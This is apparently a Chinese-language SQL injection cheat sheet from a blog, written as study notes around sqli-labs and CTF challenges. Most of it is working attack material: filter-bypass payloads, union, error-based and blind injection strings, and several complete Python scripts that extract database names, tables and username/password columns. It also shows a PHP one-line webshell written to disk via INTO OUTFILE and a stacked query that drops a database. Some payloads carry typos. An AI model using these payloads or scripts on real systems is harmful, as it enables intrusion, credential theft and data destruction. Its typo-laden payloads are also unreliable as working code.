SQL注入
SQL注入
information_schema中三个重要的表:
·information_chema.schemata: 存储数据库中所有数据库的库名
·mysql.innodb_table_stats中也有数据库名
·information_chema.tables:存储数据库中所有表的表名
·information_chema.columns:存储数据库中所有列的列名
常用函数:
substr(str,start,length):从start开始截取length长度
substring、mid与substr函数用法、功能一致
concat(username):合并字符,或将username所有数据默认用逗号连接
group_concat(username):将username所有查询数据默认用逗号连接在一起
limit 0,1 :查询第一个数字 limit 1,1:查询第二个数 limit在报错注入中用于显示指定行数,分页
ascii(str):返回字符的ascii码值 ord()与ascii()相同
length(str):返回字符串长度
left(str,num):从左数返回num个字符 与right()相反
sleep(n):过n秒响应
if(1=1,3,4):返回3 if(1=2,3,4)返回4
exp():以e为底的指数
~ :按位取反
floor(3.4)=3 :向下取整
rand():随机返回0~1间的小数
concat_ws(str,str1,str2):将括号内数据用第一个字段连接起来,例如concat_ws('-',(select database()),floor(rand()*2))
cout():汇总统计数量
as:别名
group by :分组语句,对结果进行分组
extractvalue(XML_document,XPath_string):第一个参数随便写,把第二个参数的格式符号写错即可,例如
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
updatexml(XML_document,XPath_string,new_value):第一个、第三个参数随便写,第二个命令格式符号写错即可,同extractvalue()。
报错内容长度不能超过32个字符
load_file():读取文件 select load_file("绝对路径")
一.判断注入点类型:
1.GET注入 :在get传参时,将sql语句闭合,后面加入自己的sql语句;
2.POST注入 :与GET原理相同
3.Referer注入 :
4.XFF注入 :例如: X-Forwarded-for: 127.0.0.1'and 1=1#
5.Cookie注入 :
6.UA注入 :用BP抓包,在UA处注入语句,观察回显,判断是否存在注入点
二.判断参数数据类型:
一般查询语句通常为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1
1.例如传参id=1与id=2-1返回的内容相同则为数字型注入
2.或者使用id=1 and 1=2判断,若是数字型注入会报错,若是字符型仍能正常显示
如果是字符型,查询语句需要闭合符,数字型则不需要
常见闭合方式: ' " ') ")
三.判断数据库语句过滤情况:
可以fuzz跑一下字典
1.绕过过滤关键字:
(1)使用/**/ , <>分割关键字
(2)双写绕过
(3)有时可以尝试大小写绕过
(4)编码绕过 例如:url编码 16进制编码 ascii编码
(5)使用+ 拆解字符串
sel<>ect 或 sel/**/ect 或 selselectect 或SELECT 或 编码
2.绕过过滤逗号:
(1)join方法绕过
union select * from (select 1)a join (select 2)b join (select 3)
(2)对于substr和mid函数 可以使用from for 绕过
substr(str from start for length) mid(str from start for length)
对于limit 用offset绕过
limit 1 offset 1
(3)使用like关键字绕过
select ascii(mid(user(),1,1))=80#等价于
select user() like 'r%'
3.绕过过滤空格:
(1)双空格
(2)/**/
(3)用()包裹语句,括号两端可以没空格
(4)%a0 或%09
(5)Tab 或 回车
4.绕过过滤注释符(#和--):
(1)手动闭合引号
id=1' union select 1,2,3||'1 #或
id=1' union select 1,2,'3
(2)使用;%00
5.绕过过滤等号:
使用like rlike regexp 或< 和 >
6.绕过过滤<与>:
(1)使用greastest代替,greastest会返回其中参数的最大值
(2)使用 between a and b 绕过 返回ab之间的数据,不包括b
(3)in 操作符
(4)strcmp(str1,str2) 当str1=str2时返回0 str1>str2时返回1 str1<str2时返回-1
四.注入类型
0x01 union注入(联合查询注入)
条件:适用于有显示列的注入
原理:通过修改前半句的参数,让其变为一个不存在的参数,那么前半句就会返回控制,只显示后半句的查询结果
这里以sql-labs第一关为例为例
#判断列数
?id=1' order by 3--+
#union查询判断回显位
?id=-1' union select 1,2,3--+
#查询当前数据库名称 security
?id=-1' union select 1,2,databse()--+
#查询当前数据库中所有表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_shcema='security'--+
#查询users表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
#查询users表中列的内容
?id=-1' union select 1,2,group_concat(id,username,password) from users--+
也可以在回显位的位置使用一些函数
-------------------------------------
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file:读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
-------------------------------------
0x02报错注入
条件:网站信息是动态的,来自数据库的报错信息
原理:构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包含数据库的内容
利用floor(),updatexml(),extractvalue()等函数
1.extractvalue(XML_document,XPath_string):第一个参数随便写,把第二个参数的格式符号写错即可,例如:
select extractvalue(1,concat(0x7e,(select database()))) from xml;
2.updatexml(XML_document,XPath_string,new_value):第一个、第三个参数随便写,第二个命令格式符号写错即可,同extractvalue()。
报错内容长度不能超过32个字符,可以通过limit分页,或substring()截取
select updatexml(1,concat(0x7e,database()),1)from xml;
其他查询语句在此基础上替换即可
0x03布尔盲注
条件:无法直接获取信息,页面只能返回True或False
原理:使用and将传入参数与自己构造语句相连,根据页面返回的真假值判断内容
使用substr,ascii等函数 进行循环遍历根据真假值判断即可
这里以sql-labs第五关为例:
#判断数据库名长度
?id=1' and length(database())=i--+ #i从1开始遍历
#获取数据库名字
?id=1' and substr((select database()),i,1)='j'--+ #i从1到名字长度遍历 j遍历可打印字符
#获取数据库中表的名字
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit n,1),i,1))='j'--+ #n从1开始选择第n张表 i,j同上 security是其中一个库
#获取表中的列名
?id=1' and ascii(substring((select columns_name from information_schema.columns where table_name='users' limit n,1),i,1))='j'--+ #users是其中一张表
#获取数据
?id=1' and ascii(substr((select {column} from {selected_table} limit {rouw_num},1),i,1))=j--+
下面是盲注自动化脚本,以sqllabs第五关为例
import requests
from tqdm import tqdm
url = "http://192.168.179.151/sqli-labs-master/Less-8/"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,"
database_name = ""
tables = []
columns = []
datas=[]
selected_table = 'users'
selected_columns = ['id', 'username', 'password']
# 查询数据库名
for i in tqdm(range(1, 10)):
found = False
for j in chars:
payload = url + "?id=1' and substring((select database())," + str(i) + ",1)='" + str(j) + "'--+"
result = requests.get(payload)
if 'You are in...........' in result.text:
database_name += j
found = True
break
if not found:
break
print("Database name:", database_name)
# 查询表名
for n in range(0, 4):
table_name = ""
for i in tqdm(range(1, 30)): # 假设要查询表名的前 29 个字符
found = False
for j in range(1, 256): # ASCII 码值范围是 1 到 255
payload = url + "?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='" + database_name + "' limit "+str(n)+",1)," + str(
i) + ",1))=" + str(j) + "--+" # 构造 SQL 注入语句
result = requests.get(payload)
if 'You are in...........' in result.text:
table_name += chr(j)
found = True
break
if not found:
break
tables.append(table_name + ",")
tables_string = "".join(tables)
print("Tables in 'security' database:", tables_string)
# 查询列名(假设选择表名为 'users')
selected_table = 'users'
for m in range(0, 6):
column_name = ""
for i in tqdm(range(1, 30)):
found = False
for j in range(1, 256): # ASCII 码值范围是 1 到 255
payload = url + "?id=1' and ascii(substring((select column_name from information_schema.columns where table_name='" + selected_table + "' limit "+str(m)+",1)," + str(
i) + ",1))=" + str(j) + "--+" # 构造 SQL 注入语句
result = requests.get(payload)
if 'You are in...........' in result.text:
column_name += chr(j)
found = True
break
if not found:
break
columns.append(column_name + ",")
columns_string = "".join(columns)
print("Columns in 'users' table:", columns_string)
#查照具体数据 这里查找users表中的id,username,password列的内容
for column in selected_columns:
data_values = []
for row_num in tqdm(range(0, 10)): # 假设有10行数据
data_value = ""
for char_num in range(1, 30):
found = False
for ascii_val in range(1, 256):
payload = url + "?id=1' and ascii(substring((select " + column + " from " + selected_table + " limit " + str(row_num) + ",1)," + str(
char_num) + ",1))=" + str(ascii_val) + "--+"
result = requests.get(payload)
if 'You are in...........' in result.text:
data_value += chr(ascii_val)
found = True
break
if not found:
break
data_values.append(data_value)
datas.append(data_values)
# 输出获取到的数据
for idx, col in enumerate(selected_columns):
print(f"{column} data:")
for row_num, data in enumerate(datas[idx]):
print(f"Row {row_num + 1}: {data}")
改进
import requests
url= 'http://node5.anna.nssctf.cn:29622/'
database =""
payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查flag
new_url = url + payload
r = requests.get(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)
print(database)
0x04时间盲注
条件:页面不会返回错误信息,只会返回一种页面
原理:利用sleep()函数,制作时间延迟,通过回显时间判断是否报错
sleep()可以被benchmark()代替
#判断数据库名长度
?id=1' and if(length(database())=n,sleep(2),0)--+
#判断数据库名 i从0到length+1 j从1-255
?id=1' and if(ascii(substr(database(),i,1))=j,sleep(2),0)--+
#判断表名 db_name为数据库名 i j同上
?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='db_name',i,1))=j,sleep(2),0)--+
#判断列名 selected_table_name这里选users
?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='selected_table_name',i,1))=j,sleep(2),0)--+
#获取数据
?id=1' and if(ascii(substr((select {column} from {selected_table} limit {row_num},1),i,1))=j,sleep(2),0)--+
import requests
from tqdm import tqdm
import time
url = "http://192.168.179.151/sqli-labs-master/Less-9/"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,_!@#$%^&*()"
# 判断数据库名称长度
database_length = 0
for length in tqdm(range(1, 50)): # 假设数据库名称长度不会超过50
payload = url + "?id=1' and if(length(database())=" + str(length) + ",sleep(2),0) --+"
start_time = time.time()
response = requests.get(payload)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2: # 假设响应时间超过2秒认为是正确的长度
database_length = length
print("Database name length:", database_length)
break
# 判定数据库名
db_name = ""
for i in tqdm(range(1, database_length + 1)):
for j in range(1, 256): # ASCII 值范围从 1 到 255
payload = url + "?id=1' and if(ascii(substring(database(),"+str(i)+",1))="+str(j)+",sleep(2),0) --+"
start_time = time.time()
response = requests.get(payload)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2:
db_name += chr(j)
break
print("Database name:", db_name)
#获取表名
tables_name = ""
tables = []
for n in range(0, 5):
tables_name = ""
for i in tqdm(range(1, 9)):
for j in range(1, 256): # ASCII 值范围从 1 到 255
payload = url + "?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='" + db_name + "' limit " + str(
n) + ",1)," + str(i) + ",1))=" + str(j) + ",sleep(2),0) --+"
start_time = time.time()
response = requests.get(payload)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2:
tables_name += chr(j)
tables.append(tables_name)
break
tables_string = ", ".join(tables)
print("Tables name:", tables_string)
#获取列名
columns = []
selected_table = "users"
for n in range(0, 5):
columns_name = ""
for i in tqdm(range(1, 30)):
for j in range(1, 256): # ASCII 值范围从 1 到 255
payload = url + "?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_name='" + selected_table + "' limit " + str(
n) + ",1)," + str(i) + ",1))=" + str(j) + ",sleep(2),0) --+"
start_time = time.time()
response = requests.get(payload)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2:
columns_name += chr(j)
break
columns.append(columns_name)
columns_string = ", ".join(columns)
print("Columns name:", columns_string)
#查照具体数据 这里查找id,username,password
selected_table = 'users'
selected_columns = ['id', 'username', 'password']
datas = []
for column in selected_columns:
column_values = []
for row_num in tqdm(range(0, 10)): # 假设有10行数据
data_value = ""
for char_num in range(1, 30):
found = False
for j in range(1, 256):
payload = (url +
f"?id=1' and if(ascii(substring((select {column} from {selected_table} limit {row_num},1),{char_num},1))={j},sleep(2),0)--+")
start_time = time.time()
response = requests.get(payload)
end_time = time.time()
response_time = end_time - start_time
if response_time >= 2:
data_value += chr(j)
found = True
break
if not found:
break
column_values.append(data_value)
datas.append(column_values)
# 输出获取到的数据
for idx, col in enumerate(selected_columns):
print(f"{col} data:")
for row_num, data in enumerate(datas[idx]):
print(f"Row {row_num + 1}: {data}")
0x05文件读写
条件:securce_file_priv值允许对该路径下的文件进行操作,数据库主人对文件有读写权限,当前等数据用户有file权限,知道文件完整路径
方法:
1.使用load_file()函数
2.使用load data infile()函数。
3.在mysql5.x版本还可以使用系统命令直接读取文件: system cat /tmp/1/txt(该方法只能本地读取, 且无法越权读取)
4.select ... inoto outfile/dumpfile ... 例: 写入一句话木马
select '<?php @eval($_POST['shell']); ?> into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\2.php' --+
-
secure_file_priv值
为NULL时,表示禁止文件导入与导出
值为某一目录时,表示只能对该目录下的文件进行导入与导出
值为空时,表示不对文件的读写进行限制 -
查询语句show global variables like "secure_file_priv";
mysql5.6.34后secure_file_priv值默认为NULL,可以修改my.ini或my.cnf文件,在[mysqld]条目下添加条目secure_file_priv= , 保存后重启mysql: systemctl restart mysql.service
绕过secure_file_priv值为NULL:#使用system读写文件 system echo "<? php @eval(\$POST['cmd']) ?>" > /root/cmd.php #用load data local infile将需要读取的文件存储在数据表中 load data local infile '/root/cmd.php' into table user #然后cmd.php中的内容就被写入到user表中
0x06宽字节注入
原理:当数据经过addslashes()处理时,单引号会被转义成无功能性字符,通过构造特殊的宽字节字符 绕过addslanshes()的转义
addslashes():PHP中用于转义字符串中的特殊字符(单引号、双引号、反斜线、NULL字符),它会在指定 的预定义字符前面加上反斜杠,防止这些字符被误认为是代码注入
mysql_real_escape_string()与addslashes()函数相同
string addslashes(string $str) # $str是需要转义的字符串 返回值:返回转义后的字符串
例如:
payload: ' or 1=1 #
经过addslashes()后:\' or 1=1 #
单引号' url编码是%27,\的url编码为%5c '就变为\ ' ,url编码为%5c%27
构造绕过payload:
构造绕过payload: %df' or 1=1 #
经过addslashes()后:%df\' or 1=1 #
%df\'对应url编码为%df%5c%27。当mysql使用GBK编码时,会将%df%5c解析为一个字,使得%27成功逃逸。因为mysql在使用GBK编码时,如果前一个字符的ascii码值大于128,会将两个字符当作一个汉字,所以只要输入的数据大于等于%81就可以使'逃逸出来
以sql-labs第32关为例:
传参?id=1 --+正常回显
传入?id=1'--+显示'被\转义
传入?id=1 %df'--+回显正常,\被干掉,接下来即可正常注入
0x07堆叠注入
在sql中分号; 表示一条语句结束,想同时构造多条语句并执行,如果使用union联合注入只能执行查询语句,而堆叠注入可以执行任意语句。
例如用户输入:1';drop database user;
服务器端生成的sql语句为:
select * from user where name='1';drop database user;
执行查询之后,第一条显示查询信息,第二条则将整个user数据库删除
0x08二次注入
二次注入是指输入数据经过处理后存储,取出之后再次进入到SQL查询。即通过与数据库服务器交互的过程再次注入
以sql-labs第24关为例:
注册时,账号设置为admin -- - 这样可以注释掉后面的密码,造成在admin不知情的情况下修改其密码
原密码是我注册的密码,修改成功之后发现修改的是admin对应的密码
修改密码的sql语句:
$sql="update users set password='aaa' where username='admin' -- -' and password='$curr_pass'" -- -把后面的语句注释掉,直接修改了admin的密码为aaa
0x09万能密码
登录语句
select * from user where username='$username' and password='"md5($password)"'
输入1’ or 1=1 – - 万能语句变为:
select * from user where username='1' or 1=1 or '1'='1' and password='EDFKGFSNJCOISDKMCSEIDJKM'
得到优先级not>and>or 同一优先级的情况默认从左往右计算
上面的'1'='1' and password='EDFKGFSNJCOISDKMCSEIDJKM'先计算,返回false,因为密码是乱输入的。
username='1'返回false
1=1返回真
假or真or假 返回真,所以验证通过
0x10Quine注入
Quine指自产生程序,即输入的sql语句要与输出的一致
主要利用replace(str,old_str,new_str)函数进行构造(将str中的old_str替换成new_str然后返回) str中的编码不会被替换
char(46)是点. char(34)是双引号" char(39)是单引号'
例如:
select replace(".",char(46),"."); 返回.
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
将replace(".",char(46),".")中的. 替换成replace(".",char(46),".")
返回replace(“replace(”.“,char(46),”.“)”,char(46),“replace(”.“,char(46),”.“)”)
接下来要将双引号替换成单引号
select replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));
替换点为相关字符
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
S为
'/**/union/**/select/**/replace(replace('A',char(34),char(39)),char(66),'A')#
A为
"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#
payload:
若空格过滤可以用/**/ char被过滤可以用chr或者0x代替
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
该payload适用条件:
1'union//select//replace(replace('1"union//select//replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union//select//replace(replace(".",char(34),char(39)),char(46),".")#')#
0x11提权
webshell提权:令牌取提权、数据库提权、第三方应用软件提权
mysql数据库提权:UDF提权、MOF提权、启动项提权
0x12逻辑运算注入、二分注入
同或 !=! 的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
import requests
from tqdm import tqdm
strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
url = "http://node5.anna.nssctf.cn:20955/"
result_str = ""
for i in tqdm(range(1, 100)):
min_value = 32
max_value = 126
mid_value = (min_value + max_value) // 2
while min_value < max_value:
payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),{},1))>{})/**/!=!/**/'1".format(
i, mid_value)
result = requests.post(url, data={"username": payload})
if 'string(39)' in result.text:
min_value = mid_value + 1
else:
max_value = mid_value
mid_value = (min_value + max_value) // 2
result_str += chr(mid_value)
print(result_str)
异或^的逻辑:
1 ^ 1 ==0
0 ^ 0 ==0
1 ^ 0 ==1
0 ^ 1 ==1
0x13无列名注入
条件:适用于已获取到表,但无法查询列的情况
原理:使用联合查询创建虚拟数据。将不知道的列名进行取别名,在取别名的同时进行数据查询(字段数一定要相同)
这里以[HNCTF 2022 WEEK2]easy_sql为例:
首先fuzz测出过滤空格,注释符,order
首先判断回显位:
id=1'/**/group/**/by/**/3,'1或
id=1'/**/group/**/by/**/3;%00
获取数据库名:ctf,ctftraining,ctftraining,ctftraining,mysql
1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
获取表名:ccctttfff,flag,news,users,gtid_slave_pos
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
表中的列不知道,用无列名注入:
1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
或
1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/;%00
也可使用位或盲注
import requests
url='http://node5.anna.nssctf.cn:28762/index.php'
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
# "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx),{count},1))={i},1,2)||'"
}
resp = requests.post(url=url, data=data)
#print(resp.text)
if 'Here is your want!' in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
exit()
#time.sleep(0.1)
count += 1
0x14update注入
条件:需要修改或更新mysql中的数据时,使用sqlupdate命令操作
原理:使用insert、update、delete语句
update table set column1=new_value where column2=value
例如:update items set price=1 where id=8;

浙公网安备 33010602011771号